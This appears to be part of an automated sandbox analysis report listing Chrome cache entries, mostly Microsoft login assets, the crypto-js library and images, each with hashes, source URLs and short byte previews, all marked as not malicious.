Preview:	/! For license information please see signup-fabric_en.js.LICENSE.txt /.!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function c(e){return r.isMemo(e)?a:l[e.$$typeof]\|\|o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=a;var s=Object.defineProperty,u=Object.getOwnPropertyNames,p=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,f=Object.getPrototypeOf,g=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(g){var o=f(n);o&&o!==g&&e(t,o,r)}var a=u(n);p&&(a=a.concat(p(n)));for(var l=c(t),m=c(n),h=0;h<a.length;++h){var b=a[h];if(!(i[b]

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23194), with CRLF line terminators
Category:	downloaded
Size (bytes):	23658
Entropy (8bit):	5.7641987118719396
Encrypted:	false
SSDEEP:	384:HA7bHIEsQdsQvZxyF1Aw8B7Nv0edjuDNaFTLLb2M/zvyMEZWpV:gvH9yF1IBBdq5yF/2dW
MD5:	E8DFF6F8312AD28B98AE5C94D95ABFE6
SHA1:	232BCAB1A76EAF4CFFDAF443749C567005B1BD27
SHA-256:	BC10B4FF1E6D437CCAE99D862721CD5902EB9443AB7A9271937AB4A51EC25A58
SHA-512:	1ABD9367B00192E2CFC56BBB52BFE9D9E36FF5A0530A0685093925716E4C3F0E4835C7221267DCE26C6912F79ED34896AD8175EC350378895D03852EB6E6525C
Malicious:	false
Reputation:	low
URL:	https://fpt.live.com/?session_id=5d265fc5e70c430680d18cae6dd2def9&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.live.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='5d265fc5e70c430680d18cae6dd2def9',ticks='8DD31D4D0042ED2',rid='8739882c-ebe9-f715-de5e-e4321c0789a0',authKey='taBcrIH61PuCVH7eNCyH0OPzOrGnaCb%252f7mTjN%252fuIW2vD9W7sgFOctwOUuChYLrBjMElYcMZgoBy%252fh3YozDAstHCRf1rtIjmjQB3muZr8Uo3aPgQDgSnI6zC44sgSfOAh3V388XlvEkVQe0mptrT%252bJFTbb%252bRT%252fqChTSbLepJmYex%252fN%252bHV6wiAipSrEvMprAAKvqIw0wbR6ftvBDUEuoR3sUGoO%252bjmjOtw11cTEg%252f%252fQ1WNRQDXKboeJ8T44FPRph4iSWnFHutOxcyVF1w6TSLqHMWeuAiTFvltHE7pq0sYsdPhZzXGS8wFni%252foziuZVVmr',cid='33e01921-4d64-4f8c-a055-5bdaffd5e33d',assessment='',waitresponse=true,bbwait=false,commonquery='&PageId=SU',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1736554424924,ipv6Url='',txnKey='session_id',ridKey='id',lskey='MUID';(function(){function w(){var i=0,n;return t&&t.length

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	5.218997042938778
Encrypted:	false
SSDEEP:	3:iuh72iczBra82yFsJFouMo+q6mgqWd6Nk:NciczBdTFsJFoM+q62Nk
MD5:	9872BE83FA60DA999B65A3BD481731D3
SHA1:	B59A8688C6A0D5311C6410A0D91537084E148F2D
SHA-256:	5DEE42A8D755847C0813D4E5F033F51197B20DD3C6C2EE4FBE31FD27B2F593D3
SHA-512:	53E947C87386ECF19E3B36E3F292A9757911F0F8B02FE36DDFC0DD74A3C784D97B15066AB4895EA694F66792A8C7CF525F59A03868FF5D5F0C3B5203D34C5F7D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	CkYKDQ3RW1FSGgQIVhgCIAEKNQ1Xevf9GgQISxgCKigIClIkChpAISMuKiQtXyslJj8vPV4pKCw6O348JyJcXRABGP////8P

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	http://unikuesolutions.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35170
Entropy (8bit):	7.993096534744333
Encrypted:	true
SSDEEP:	768:K+LvEzA9nny7u0zF35Hm4ngomu6yeLDKDnccqmcmHvVVPCLVf:ny7f5GpuheL4htv3Pkf
MD5:	171A4DD9400708B88724B57D62B24A6A
SHA1:	9C6F1303B8F02FCE18D20EC9CADA11D38D0C4B37
SHA-256:	EA00750636C11DBD4FA3ACB1B3CDCBAE3EFA43F6B6C3753444B6D6A242AE9336
SHA-512:	5B13B63912B34E3EEEDD8DA5953B869A83DF82FFD2A8D737AA81DC984F1811800A534F340C48041DA803C25B6B8F5605EA8D003B6A09A1874408F95A710F5126
Malicious:	false
Reputation:	low
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........z.....\|..t.. [.C.....{...~..c......ua...~.v<.I..P#._{{}._.......Km...eR....u?GY..h..}..gAv...<.l.Z...#.....:P?Q..."..........,.D...I<._.'..-..=..;.>.C_..#.....D[0.Y..*...M.....{.YT,...x..SQ/......N<`...\|._.k....0)......+.Z..4...M. ...i...`.ml..-X.E.....d.. .}.e4.{6hz^..}....@....W.1...d8...>.@.....(.'[..`..A..?...yL.\|..QTF...-.='S@.Q.sM.`...}.t..$..y^..0J.kC.S...U.

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	downloaded
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	dropped
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 4, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.9902101553250042
Encrypted:	false
SSDEEP:	3:yionv//thPlo7ttrHG/8kxl/k4E08up:6v/lhPqwkk7Tp
MD5:	BF9B1513BC1385E3B3DF4038515F756E
SHA1:	83E8947E6CEF7DBA26A27D42ED6FEBCFD91B7E19
SHA-256:	262E5EE89D823BF95113241CDBFF6F20E300F3EC3EFE52BD7E8A05DBD1082863
SHA-512:	1F4F472B1723EDC498FF7B7596F68108197B71021C4E79C80BF6F47999A3662BCD55696C9170811B66805A9BE6D42C39B39368D1809494420166D8DF96FE4245
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............".....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 137

Download File

